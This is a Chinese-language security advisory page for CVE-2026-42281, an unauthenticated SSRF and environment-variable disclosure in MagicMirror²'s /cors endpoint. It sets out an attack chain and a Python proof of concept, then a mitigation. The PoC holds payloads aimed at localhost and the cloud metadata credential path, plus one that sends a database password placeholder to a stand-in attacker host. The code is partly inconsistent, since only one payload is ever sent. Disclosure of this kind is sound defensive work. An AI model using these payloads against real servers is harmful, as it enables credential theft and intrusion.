IPBUF安全漏洞报告
English
CVE-2026-42281 CVSS 8.6 高危

CVE-2026-42281 MagicMirror²未认证SSRF及信息泄露漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42281
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MagicMirror²

相关标签

SSRFMagicMirror信息泄露未认证访问高危漏洞

漏洞概述

MagicMirror²是一个开源智能镜平台,其在2.36.0之前的版本中存在严重安全漏洞。未经身份验证的远程攻击者可利用`/cors`端点实施服务端请求伪造(SSRF)攻击,迫使服务器向内网、云元数据服务发起任意HTTP请求。此外,该端点的环境变量展开功能可导致服务器敏感信息泄露,风险极高。

技术细节

该漏洞的核心在于MagicMirror²的`/cors`端点缺乏必要的权限校验和严格的输入过滤机制。攻击者无需任何认证即可直接访问该接口。主要的利用方式是构造恶意的URL参数指向内网敏感地址(例如http://127.0.0.1/admin或云元数据服务),服务器后台会代为请求并将结果返回给攻击者,从而实现SSRF攻击,探测内网拓扑或窃取云凭证。更为严重的是,该端点在处理请求逻辑中包含了环境变量展开功能,能够解析诸如`**VAR_NAME**`格式的占位符。攻击者可以精心构造包含敏感环境变量名的Payload,利用服务器的解析机制将变量值回显在响应中,进而窃取数据库密码、API密钥等关键机密信息。鉴于其无需认证且影响范围广,CVSS评分高达8.6分。

攻击链分析

STEP 1
侦察
攻击者发现目标运行的是MagicMirror²且版本低于2.36.0。
STEP 2
利用SSRF
攻击者向`/cors`端点发送包含内网地址(如127.0.0.1或云元数据IP)的请求,无需认证即可触发服务器代理请求。
STEP 3
信息窃取
利用端点的环境变量展开特性,构造包含`**VAR_NAME**`的Payload,诱骗服务器解析并泄露敏感环境变量(如API Key、密码)。
STEP 4
横向移动
基于获取的内网信息或凭证,进一步攻击内部基础设施。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_ssrf(target_url): # Target endpoint endpoint = f"{target_url}/cors" # Payload 1: SSRF to localhost (checking internal service) # Attempting to access a common internal port or metadata service ssrf_payload = { "url": "http://127.0.0.1:8080/config.js" } # Payload 2: Environment Variable Exfiltration # Assuming the endpoint expands environment variables in the response or request headers # Using a placeholder format mentioned in the description env_payload = { "url": "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } # Variable exfiltration attempt (e.g., if the proxy reflects the URL or expands vars in logs/response) # Based on description: "expands environment variable placeholders (**VAR_NAME**)" # This might be reflected in an error message or response body depending on implementation leak_payload = { "url": "http://attacker-controlled.com/**DATABASE_PASSWORD**" } try: print(f"[+] Testing SSRF on {endpoint}") r = requests.get(endpoint, params=ssrf_payload, timeout=5) if r.status_code == 200: print(f"[!] SSRF Successful! Response length: {len(r.text)}") print(f"[+] Response snippet: {r.text[:200]}") else: print(f"[-] SSRF attempt failed with status code: {r.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target check_ssrf(target)

影响范围

MagicMirror² < 2.36.0

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或反向代理层面直接封禁`/cors`路径,或严格限制入站流量来源IP,防止未授权访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表